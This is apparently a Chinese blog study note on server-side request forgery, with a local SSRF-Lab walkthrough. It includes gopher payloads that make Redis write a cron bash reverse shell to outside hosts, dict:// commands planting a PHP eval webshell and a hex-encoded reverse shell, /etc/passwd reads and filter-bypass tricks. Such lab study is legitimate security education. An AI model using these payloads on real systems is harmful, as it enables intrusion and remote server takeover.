浅析SSRF
本篇笔记参考文章如下
https://www.freebuf.com/articles/web/333173.html
https://www.freebuf.com/articles/web/333318.html
https://websec.readthedocs.io/zh/latest/vuln/ssrf.html#section-1
https://se8s0n.github.io/2019/05/19/SSRF-LABS指南/
https://xz.aliyun.com/t/7333
https://zhuanlan.zhihu.com/p/112055947
0x01 概述
服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF漏洞也可以用一句话来进行总结:利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务
CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
CSRF和SSRF的区别:
CSRF的攻击目标是用户,而SSRF的攻击目标是服务器。
与SSRF相比,CSRF的利用方式更偏向是一种社工手段。
0x02 可能存在SSRF的功能点
- 分享:通过URL地址分享网页内容
- 在线翻译
- 图片的加载与下载:通过URL地址加载或下载图片,要注意区分是客户端发送的请求还是服务端发送的请求
- 图片,文章收藏功能
- 未公开的api实现以及其他调用URL的功能
0x03 漏洞危害
SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件。
内网服务防御相对外网服务来说一般会较弱,甚至部分内网服务为了运维方便并没有对内网的访问设置权限验证,所以存在SSRF时,通常会造成较大的危害。
0x04 curl工具简介
curl命令在SSRF漏洞有非常重要的作用,所以这里就简单介绍一下curl命令:
curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思
不带有任何参数时,curl 就是发出 GET 请求
$ curl https://www.example.com
上面命令向www.example.com
发出 GET 请求,服务器返回的内容会在命令行输出
-v
参数输出通信的整个过程,用于调试。我们便可以利用-v
参数进行读取文件
使用file协议curl -v file:///etc/passwd
使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
使用dict协议 curl -v "dict://127.0.0.1:端口/info"
使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"
0x05 漏洞利用-危险函数
SSRF的利用方式主要分为两个方向:利用相关的危险函数和利用协议操作
以 PHP 为例,先说明一些可利用的危险函数
file_get_contents() 与 readfile()
file_get_contents
这一函数是把 传入的参数(变量)写入字符串,当把传参是内网文件的时候,会先去把这个文件的内容读出来再写入,导致了任意文件读取,也就是信息泄露的一种。一般这种攻击也与目录遍历相结合。
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
fsockopen()
fsockopen($hostname,$port,$errno,$errstr,$timeout)
用于打开一个网络连接或者一个 Unix 套接字连接,初始化一个套接字连接到指定主机(hostname),实现对用户指定 url 数据的获取。该函数会使用 socket 跟服务器建立 tcp 连接,进行传输原始数据。 fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如:fgets()
,fgetss()
,fwrite()
,fclose()
还有feof()
)如果调用失败,将返回false。
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
给url传一个网址即可跳转网页返回信息,类似于一个重定向,貌似没有什么用处
curl_exec()
curl_init(url) 函数初始化一个新的会话,返回一个 cURL 句柄,供curl_setopt()
,curl_exec()
和curl_close()
函数使用。
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
但是这里就不只是这点作用了,可以通过各种危险协议来结合curl_exec()
进行渗透,最常用的是file
、dict
、gopher
协议来进行渗透。
以下是常用的payload
# dict协议
curl -vvv 'dict://127.0.0.1:6379/info'
# file协议
curl -vvv 'file:///etc/passwd' # * 注意: 链接使用单引号,避免$变量问题
# 利用gopher协议反弹shell
curl -vvv 'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'
0x06 漏洞利用-危险协议
上面讲到常用file、dict、gopher协议来进行渗透,下面以SSRF-Lab靶场的basic级别为例讲下这几个协议。
靶场搭建
环境:CentOS7+docker
安装docker
参考张冰辰大佬的docker笔记
wget -O /etc/yum.repos.d/CentOS-Base.repo \
https://mirrors.aliyun.com/repo/Centos-7.repo #修改yum源为阿里云源
yum makecache #重新生成yum缓存
yum updata -y #更新所有软件包
basic关的搭建
git clone https://github.com/m6a-UdS/ssrf-lab.git
cd ~/ssrf-lab/basics #进入basics文件夹
docker build -t ssrf-lab/basic . #构建镜像
docker run -d -p 8999:80 ssrf-lab/basic #创建容器
docker ps #查看ssrf-lab/basic容器编号
docker stop [容器编号] #关闭容器
访问192.168.23.135:8999
靶场环境成功搭建
安装Redis服务
看了很多教程都是结合Redis服务一起的,所以在容器里也装下这个服务
docker ps #查看容器编号
docker exec -it [ssrf-lab/basics容器编号] /bin/bash #进入容器
apt-get install redis-server # 安装redis服务
redis-server #开启redis服务
安装并启动。
在测试协议之前
首先我们先访问一下127.0.0.1看看
http://127.0.0.1
回显了网页的信息,说明没有对内网的ip做出限制
file协议
basic关卡中是没有过滤的,所以直接可以利用file协议去读取任意文件内容。
file:///etc/passwd
成功之后我们可以通过深挖配置文件和源代码进行我们进一步的渗透,比如获得数据库的用户凭证等信息。
dict协议
利用dict
协议,dict://ip/info
可获取本地redis
服务配置信息。
dict://127.0.0.1:6379/info
还可以用dict://127.0.0.1:6379/KEYS *
获取redis存储的内容
还可以借助dict协议去进行内网应用的攻击,这里以攻击redis协议为例
利用这种方式需要知道网站的绝对路径,目录有写入权限,以及redis没有密码或者弱密码(可以爆破弱密码)
payload如下:
dict://127.0.0.1:6379/info #获取服务配置信息
dict://127.0.0.1:6379/config:set:dir:/var/www/html #设置web目录
dict://127.0.0.1:6379/config:set:dbfilename:webshell.php #设置备份文件名
dict://127.0.0.1:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x73\x68\x65\x6c\x6c\x27\x5d\x29\x3b\x3f\x3e" #上传webshell
这里好像还是有点防护的,不能直接传明文shell,要进行ASCII的16进制转换
dict://127.0.0.1:6379/save #保存
蚁剑连接成功。传进去的webshell是这样的
这里应该也可以传一个php的反弹shell文件然后利用这个页面访问这个文件即可。
dict://127.0.0.1:6379/config:set:dbfilename:php-reverse-shell.php #设置备份文件名
dict://127.0.0.1:6379/set:php-reverse-shell:"\x3c\x3f\x70\x68\x70\xa\x73\x65\x74\x5f\x74\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74\x20\x28\x30\x29\x3b\xa\x24\x56\x45\x52\x53\x49\x4f\x4e\x20\x3d\x20\x22\x31\x2e\x30\x22\x3b\xa\x24\x69\x70\x20\x3d\x20\x27\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x33\x2e\x31\x33\x30\x27\x3b\x20\xa\x24\x70\x6f\x72\x74\x20\x3d\x20\x37\x37\x37\x37\x3b\xa\x24\x63\x68\x75\x6e\x6b\x5f\x73\x69\x7a\x65\x20\x3d\x20\x31\x34\x30\x30\x3b\xa\x24\x77\x72\x69\x74\x65\x5f\x61\x20\x3d\x20\x6e\x75\x6c\x6c\x3b\xa\x24\x65\x72\x72\x6f\x72\x5f\x61\x20\x3d\x20\x6e\x75\x6c\x6c\x3b\xa\x24\x73\x68\x65\x6c\x6c\x20\x3d\x20\x27\x75\x6e\x61\x6d\x65\x20\x2d\x61\x3b\x20\x77\x3b\x20\x69\x64\x3b\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x27\x3b\xa\x24\x64\x61\x65\x6d\x6f\x6e\x20\x3d\x20\x30\x3b\xa\x24\x64\x65\x62\x75\x67\x20\x3d\x20\x30\x3b\xa\x69\x66\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x65\x78\x69\x73\x74\x73\x28\x27\x70\x63\x6e\x74\x6c\x5f\x66\x6f\x72\x6b\x27\x29\x29\x20\x7b\xa\x9\x24\x70\x69\x64\x20\x3d\x20\x70\x63\x6e\x74\x6c\x5f\x66\x6f\x72\x6b\x28\x29\x3b\xa\x9\x69\x66\x20\x28\x24\x70\x69\x64\x20\x3d\x3d\x20\x2d\x31\x29\x20\x7b\xa\x9\x9\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x45\x52\x52\x4f\x52\x3a\x20\x43\x61\x6e\x27\x74\x20\x66\x6f\x72\x6b\x22\x29\x3b\xa\x9\x9\x65\x78\x69\x74\x28\x31\x29\x3b\xa\x9\x7d\xa\x9\x69\x66\x20\x28\x24\x70\x69\x64\x29\x20\x7b\xa\x9\x9\x65\x78\x69\x74\x28\x30\x29\x3b\x20\x20\x2f\x2f\x20\x50\x61\x72\x65\x6e\x74\x20\x65\x78\x69\x74\x73\xa\x9\x7d\xa\x9\x69\x66\x20\x28\x70\x6f\x73\x69\x78\x5f\x73\x65\x74\x73\x69\x64\x28\x29\x20\x3d\x3d\x20\x2d\x31\x29\x20\x7b\xa\x9\x9\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x45\x72\x72\x6f\x72\x3a\x20\x43\x61\x6e\x27\x74\x20\x73\x65\x74\x73\x69\x64\x28\x29\x22\x29\x3b\xa\x9\x9\x65\x78\x69\x74\x28\x31\x29\x3b\xa\x9\x7d\xa\x9\x24\x64\x61\x65\x6d\x6f\x6e\x20\x3d\x20\x31\x3b\xa\x7d\x20\x65\x6c\x73\x65\x20\x7b\xa\x9\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x57\x41\x52\x4e\x49\x4e\x47\x3a\x20\x46\x61\x69\x6c\x65\x64\x20\x74\x6f\x20\x64\x61\x65\x6d\x6f\x6e\x69\x73\x65\x2e\x20\x20\x54\x68\x69\x73\x20\x69\x73\x20\x71\x75\x69\x74\x65\x20\x63\x6f\x6d\x6d\x6f\x6e\x20\x61\x6e\x64\x20\x6e\x6f\x74\x20\x66\x61\x74\x61\x6c\x2e\x22\x29\x3b\xa\x7d\xa\x63\x68\x64\x69\x72\x28\x22\x2f\x22\x29\x3b\xa\x75\x6d\x61\x73\x6b\x28\x30\x29\x3b\xa\x24\x73\x6f\x63\x6b\x20\x3d\x20\x66\x73\x6f\x63\x6b\x6f\x70\x65\x6e\x28\x24\x69\x70\x2c\x20\x24\x70\x6f\x72\x74\x2c\x20\x24\x65\x72\x72\x6e\x6f\x2c\x20\x24\x65\x72\x72\x73\x74\x72\x2c\x20\x33\x30\x29\x3b\xa\x69\x66\x20\x28\x21\x24\x73\x6f\x63\x6b\x29\x20\x7b\xa\x9\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x24\x65\x72\x72\x73\x74\x72\x20\x28\x24\x65\x72\x72\x6e\x6f\x29\x22\x29\x3b\xa\x9\x65\x78\x69\x74\x28\x31\x29\x3b\xa\x7d\xa\x24\x64\x65\x73\x63\x72\x69\x70\x74\x6f\x72\x73\x70\x65\x63\x20\x3d\x20\x61\x72\x72\x61\x79\x28\xa\x20\x20\x20\x30\x20\x3d\x3e\x20\x61\x72\x72\x61\x79\x28\x22\x70\x69\x70\x65\x22\x2c\x20\x22\x72\x22\x29\x2c\x20\x20\x2f\x2f\x20\x73\x74\x64\x69\x6e\x20\x69\x73\x20\x61\x20\x70\x69\x70\x65\x20\x74\x68\x61\x74\x20\x74\x68\x65\x20\x63\x68\x69\x6c\x64\x20\x77\x69\x6c\x6c\x20\x72\x65\x61\x64\x20\x66\x72\x6f\x6d\xa\x20\x20\x20\x31\x20\x3d\x3e\x20\x61\x72\x72\x61\x79\x28\x22\x70\x69\x70\x65\x22\x2c\x20\x22\x77\x22\x29\x2c\x20\x20\x2f\x2f\x20\x73\x74\x64\x6f\x75\x74\x20\x69\x73\x20\x61\x20\x70\x69\x70\x65\x20\x74\x68\x61\x74\x20\x74\x68\x65\x20\x63\x68\x69\x6c\x64\x20\x77\x69\x6c\x6c\x20\x77\x72\x69\x74\x65\x20\x74\x6f\xa\x20\x20\x20\x32\x20\x3d\x3e\x20\x61\x72\x72\x61\x79\x28\x22\x70\x69\x70\x65\x22\x2c\x20\x22\x77\x22\x29\x20\x20\x20\x2f\x2f\x20\x73\x74\x64\x65\x72\x72\x20\x69\x73\x20\x61\x20\x70\x69\x70\x65\x20\x74\x68\x61\x74\x20\x74\x68\x65\x20\x63\x68\x69\x6c\x64\x20\x77\x69\x6c\x6c\x20\x77\x72\x69\x74\x65\x20\x74\x6f\xa\x29\x3b\xa\x24\x70\x72\x6f\x63\x65\x73\x73\x20\x3d\x20\x70\x72\x6f\x63\x5f\x6f\x70\x65\x6e\x28\x24\x73\x68\x65\x6c\x6c\x2c\x20\x24\x64\x65\x73\x63\x72\x69\x70\x74\x6f\x72\x73\x70\x65\x63\x2c\x20\x24\x70\x69\x70\x65\x73\x29\x3b\xa\xa\x69\x66\x20\x28\x21\x69\x73\x5f\x72\x65\x73\x6f\x75\x72\x63\x65\x28\x24\x70\x72\x6f\x63\x65\x73\x73\x29\x29\x20\x7b\xa\x9\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x45\x52\x52\x4f\x52\x3a\x20\x43\x61\x6e\x27\x74\x20\x73\x70\x61\x77\x6e\x20\x73\x68\x65\x6c\x6c\x22\x29\x3b\xa\x9\x65\x78\x69\x74\x28\x31\x29\x3b\xa\x7d\xa\x73\x74\x72\x65\x61\x6d\x5f\x73\x65\x74\x5f\x62\x6c\x6f\x63\x6b\x69\x6e\x67\x28\x24\x70\x69\x70\x65\x73\x5b\x30\x5d\x2c\x20\x30\x29\x3b\xa\x73\x74\x72\x65\x61\x6d\x5f\x73\x65\x74\x5f\x62\x6c\x6f\x63\x6b\x69\x6e\x67\x28\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x2c\x20\x30\x29\x3b\xa\x73\x74\x72\x65\x61\x6d\x5f\x73\x65\x74\x5f\x62\x6c\x6f\x63\x6b\x69\x6e\x67\x28\x24\x70\x69\x70\x65\x73\x5b\x32\x5d\x2c\x20\x30\x29\x3b\xa\x73\x74\x72\x65\x61\x6d\x5f\x73\x65\x74\x5f\x62\x6c\x6f\x63\x6b\x69\x6e\x67\x28\x24\x73\x6f\x63\x6b\x2c\x20\x30\x29\x3b\xa\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x53\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x20\x6f\x70\x65\x6e\x65\x64\x20\x72\x65\x76\x65\x72\x73\x65\x20\x73\x68\x65\x6c\x6c\x20\x74\x6f\x20\x24\x69\x70\x3a\x24\x70\x6f\x72\x74\x22\x29\x3b\xa\x77\x68\x69\x6c\x65\x20\x28\x31\x29\x20\x7b\xa\xa\x9\x69\x66\x20\x28\x66\x65\x6f\x66\x28\x24\x73\x6f\x63\x6b\x29\x29\x20\x7b\xa\x9\x9\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x45\x52\x52\x4f\x52\x3a\x20\x53\x68\x65\x6c\x6c\x20\x63\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x20\x74\x65\x72\x6d\x69\x6e\x61\x74\x65\x64\x22\x29\x3b\xa\x9\x9\x62\x72\x65\x61\x6b\x3b\xa\x9\x7d\xa\x9\x69\x66\x20\x28\x66\x65\x6f\x66\x28\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x29\x29\x20\x7b\xa\x9\x9\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x45\x52\x52\x4f\x52\x3a\x20\x53\x68\x65\x6c\x6c\x20\x70\x72\x6f\x63\x65\x73\x73\x20\x74\x65\x72\x6d\x69\x6e\x61\x74\x65\x64\x22\x29\x3b\xa\x9\x9\x62\x72\x65\x61\x6b\x3b\xa\x9\x7d\xa\x9\x24\x72\x65\x61\x64\x5f\x61\x20\x3d\x20\x61\x72\x72\x61\x79\x28\x24\x73\x6f\x63\x6b\x2c\x20\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x2c\x20\x24\x70\x69\x70\x65\x73\x5b\x32\x5d\x29\x3b\xa\x9\x24\x6e\x75\x6d\x5f\x63\x68\x61\x6e\x67\x65\x64\x5f\x73\x6f\x63\x6b\x65\x74\x73\x20\x3d\x20\x73\x74\x72\x65\x61\x6d\x5f\x73\x65\x6c\x65\x63\x74\x28\x24\x72\x65\x61\x64\x5f\x61\x2c\x20\x24\x77\x72\x69\x74\x65\x5f\x61\x2c\x20\x24\x65\x72\x72\x6f\x72\x5f\x61\x2c\x20\x6e\x75\x6c\x6c\x29\x3b\xa\x9\x69\x66\x20\x28\x69\x6e\x5f\x61\x72\x72\x61\x79\x28\x24\x73\x6f\x63\x6b\x2c\x20\x24\x72\x65\x61\x64\x5f\x61\x29\x29\x20\x7b\xa\x9\x9\x69\x66\x20\x28\x24\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x53\x4f\x43\x4b\x20\x52\x45\x41\x44\x22\x29\x3b\xa\x9\x9\x24\x69\x6e\x70\x75\x74\x20\x3d\x20\x66\x72\x65\x61\x64\x28\x24\x73\x6f\x63\x6b\x2c\x20\x24\x63\x68\x75\x6e\x6b\x5f\x73\x69\x7a\x65\x29\x3b\xa\x9\x9\x69\x66\x20\x28\x24\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x53\x4f\x43\x4b\x3a\x20\x24\x69\x6e\x70\x75\x74\x22\x29\x3b\xa\x9\x9\x66\x77\x72\x69\x74\x65\x28\x24\x70\x69\x70\x65\x73\x5b\x30\x5d\x2c\x20\x24\x69\x6e\x70\x75\x74\x29\x3b\xa\x9\x7d\xa\x9\x69\x66\x20\x28\x69\x6e\x5f\x61\x72\x72\x61\x79\x28\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x2c\x20\x24\x72\x65\x61\x64\x5f\x61\x29\x29\x20\x7b\xa\x9\x9\x69\x66\x20\x28\x24\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x53\x54\x44\x4f\x55\x54\x20\x52\x45\x41\x44\x22\x29\x3b\xa\x9\x9\x24\x69\x6e\x70\x75\x74\x20\x3d\x20\x66\x72\x65\x61\x64\x28\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x2c\x20\x24\x63\x68\x75\x6e\x6b\x5f\x73\x69\x7a\x65\x29\x3b\xa\x9\x9\x69\x66\x20\x28\x24\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x53\x54\x44\x4f\x55\x54\x3a\x20\x24\x69\x6e\x70\x75\x74\x22\x29\x3b\xa\x9\x9\x66\x77\x72\x69\x74\x65\x28\x24\x73\x6f\x63\x6b\x2c\x20\x24\x69\x6e\x70\x75\x74\x29\x3b\xa\x9\x7d\xa\x9\x69\x66\x20\x28\x69\x6e\x5f\x61\x72\x72\x61\x79\x28\x24\x70\x69\x70\x65\x73\x5b\x32\x5d\x2c\x20\x24\x72\x65\x61\x64\x5f\x61\x29\x29\x20\x7b\xa\x9\x9\x69\x66\x20\x28\x24\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x53\x54\x44\x45\x52\x52\x20\x52\x45\x41\x44\x22\x29\x3b\xa\x9\x9\x24\x69\x6e\x70\x75\x74\x20\x3d\x20\x66\x72\x65\x61\x64\x28\x24\x70\x69\x70\x65\x73\x5b\x32\x5d\x2c\x20\x24\x63\x68\x75\x6e\x6b\x5f\x73\x69\x7a\x65\x29\x3b\xa\x9\x9\x69\x66\x20\x28\x24\x64\x65\x62\x75\x67\x29\x20\x70\x72\x69\x6e\x74\x69\x74\x28\x22\x53\x54\x44\x45\x52\x52\x3a\x20\x24\x69\x6e\x70\x75\x74\x22\x29\x3b\xa\x9\x9\x66\x77\x72\x69\x74\x65\x28\x24\x73\x6f\x63\x6b\x2c\x20\x24\x69\x6e\x70\x75\x74\x29\x3b\xa\x9\x7d\xa\x66\x63\x6c\x6f\x73\x65\x28\x24\x73\x6f\x63\x6b\x29\x3b\xa\x66\x63\x6c\x6f\x73\x65\x28\x24\x70\x69\x70\x65\x73\x5b\x30\x5d\x29\x3b\xa\x66\x63\x6c\x6f\x73\x65\x28\x24\x70\x69\x70\x65\x73\x5b\x31\x5d\x29\x3b\xa\x66\x63\x6c\x6f\x73\x65\x28\x24\x70\x69\x70\x65\x73\x5b\x32\x5d\x29\x3b\xa\x70\x72\x6f\x63\x5f\x63\x6c\x6f\x73\x65\x28\x24\x70\x72\x6f\x63\x65\x73\x73\x29\x3b\xa\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x70\x72\x69\x6e\x74\x69\x74\x20\x28\x24\x73\x74\x72\x69\x6e\x67\x29\x20\x7b\xa\x9\x69\x66\x20\x28\x21\x24\x64\x61\x65\x6d\x6f\x6e\x29\x20\x7b\xa\x9\x9\x70\x72\x69\x6e\x74\x20\x22\x24\x73\x74\x72\x69\x6e\x67\x5c\x6e\x22\x3b\xa\x9\x7d\xa\x7d\xa\x3f\x3e" #写入php-reverse-shell
dict://127.0.0.1:6379/save #保存
访问试试
编码乱了,解析不了,不知道有没有其他姿势可以成功。
gopher协议
参考文章为:https://zhuanlan.zhihu.com/p/112055947
什么是gopher协议?
Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
限制
gopher协议在各个编程语言中的使用限制
利用gopher协议进行反弹shell
攻击机kali开启7777端口监听,ssrf页面发送个数据测试一下
在使用gopher协议时在url后加入一个字符(该字符可随意写),否则第一个字符会不显示
攻击机成功收到发送的信息
测试成功,下面进行进一步的攻击
首先先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
//redis-cli查看所有的keys及清空所有的数据
这便是常见的exp,只需自己更改IP和端口即可,改成适配于 Gopher
协议的 URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/192.168.23.130/7777 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
经过url解码便是:
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
进行测试,发现回显
redis里查看一下插入的KEYS值验证是否成功
验证成功
0x07 SSRF绕过技巧
绕过IP限制
有些网站可能会限制访问的IP,此时可以通过下面的方式进行绕过:
- 1)使用IPV6地址
- 2)对IP转化成十进制,八进制等,如0177.0.0.01(八进制)
- 3)利用特殊域名。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1
- 4)利用句号。如127。0。0。1
- 5)可以[::]。如http://[::]:80/
- 6)利用短网址。比如百度短地址
绕过URL解析限制
如果网站限制了使用URL,可以尝试下面的方法绕过:
-
1)使用@符号绕过:如127.0.0.1@baidu.com
URL的完整格式是
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]
所以你访问
> <a href=”http://baidu.com@1.1.1.1″”>http://baidu.com@1.1.1.1
和
> http://1.1.1.1
效果是一样的,因为解析的本来就是
@
后面的服务器地址。 -
2)利用302跳转,需要一个vps,把302转换的代码部署到vps上,然后去访问,就可跳转到内网中
DNS重绑
这里还没太搞明白,简单叙述一下逻辑:
1.判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
2.若在,退出报错
3.若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块
所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换。
效果类比:你访问wwfcww.xyz
这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的IP是 127.0.0.1,如此一来即可进行 SSRF 攻击。
0x08 CTF例题
[网鼎杯 2018]Fakebook
考察点:sql注入、ssrf、php反序列化
这个之前PHP反序列化的文章中有写过,跳过去看一下吧。https://www.cnblogs.com/M0urn/articles/17761213.html#buuctf-web-网鼎杯-2018fakebook
本文来自博客园,作者:M0urn,转载请注明原文链接:https://www.cnblogs.com/M0urn/articles/17761208.html